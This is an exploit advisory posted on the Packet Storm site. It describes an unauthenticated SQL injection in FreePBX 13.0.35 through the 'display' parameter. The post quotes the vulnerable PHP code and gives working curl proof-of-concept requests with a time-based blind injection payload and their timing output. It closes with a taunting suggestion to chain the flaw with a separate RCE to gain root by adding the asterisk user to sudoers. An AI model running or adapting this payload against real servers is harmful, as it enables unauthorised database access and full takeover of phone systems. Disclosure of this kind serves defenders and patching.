what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Freepbx 13.0.35 SQL Injection

Freepbx 13.0.35 SQL Injection
Posted Aug 29, 2016
Authored by i-Hmx

Freepbx version 13.0.35 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | f71cd00e2fd0cddbaa2279de836b448a9e77c13832747b5c8571efd07ff97030

Freepbx 13.0.35 SQL Injection

Change Mirror Download
Vulnerable software : Freepbx
Tested version : 13.0.35
vendor : freepbx.org
Author : i-Hmx
Email : n0p1337@gmail.com
Home : sec4ever.com

Freepbx suffer from unauthenticated sql injection flaw due to insufficient
sanitization of "display" parameter

File : admin/libraries/DB.class.php
public function
getAll($sql,$params=array(),$fetchmode=DB_FETCHMODE_DEFAULT) {
//this is a sad workaround for people who couldn't follow
documentation for functions
$fetchmode = $this->isFetchMode($params) ? $params : $fetchmode;
self::$error = null;
try {
$fetch = $this->correctFetchMode($fetchmode);
if(!empty($params) && is_array($params)) {
$this->res = $this->db->prepare($sql);
------->>>>> $this->res->execute($params);
return $this->res->fetchAll($fetch);
}
$this->res = $this->db->query($sql);
if($this->res === false) {
return false;
}
return $this->res->fetchAll($fetch);
} catch (Exception $e) {
return new DB_Error($e);
}
}

File : admin/libraries/modulefunctions.class.php
Line 593
function getinfo($module = false, $status = false, $forceload =
false) {

global $amp_conf, $db;
$modules = array();

if ($module) {
// get info on only one module
$xml = $this->_readxml($module);
if (!is_null($xml)) {
$modules[$module] = $xml;
// if status is anything else, it will be updated below
when we read the db
$modules[$module]['status'] = MODULE_STATUS_NOTINSTALLED;
}

// query to get just this one
---===>>>> $sql = 'SELECT * FROM modules WHERE modulename =
"'.$module.'"';
}
if ($module || !$modulelist->is_loaded()) {
---===>>>$results = $db->getAll($sql,DB_FETCHMODE_ASSOC);
if(DB::IsError($results)) {
die_freepbx($sql."<br>\n".$results->getMessage());
}

File : admin/libraries/modulefunctions.legacy.php
Line 52
function module_getinfo($module = false, $status = false,
$forceload = false) {
_module_backtrace();
$modulef = module_functions::create();
---===>>> return $modulef->getinfo($module, $status, $forceload);
}

File : admin/views/noaccess.php
<?php
$display = isset($_REQUEST['display'])?$_REQUEST['display']:false;
---===>>> $modinfo = \module_getinfo($display);

'display' parameter is being passed to sql execute() func without perior
sanitization which lead to obvious sql injection flaw without any
pre-needed authentication
POC :

Normal request
[root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect}
+ %{time_starttransfer} = %{time_total}\n" '
http://x.x.x.x/admin/config.php?display=f4ris'
Total request time : 0.001 + 0.309 = 0.334

Sql injected
[root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect}
+ %{time_starttransfer} = %{time_total}\n" '
http://x.x.x.x/admin/config.php?display=f4ris
"XOR(if(6661=6661,sleep(0.03),0))OR"*/'
Total request time : 0.158 + 4.391 = 4.417
# Mix this with the 13.0.35 RCE one , and you are ok to get root just by
echoing asterisk to the sudoers ;)
# We're still ruling the game idiots , from Eg-R1z with dust xDD
# ./f4ris
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close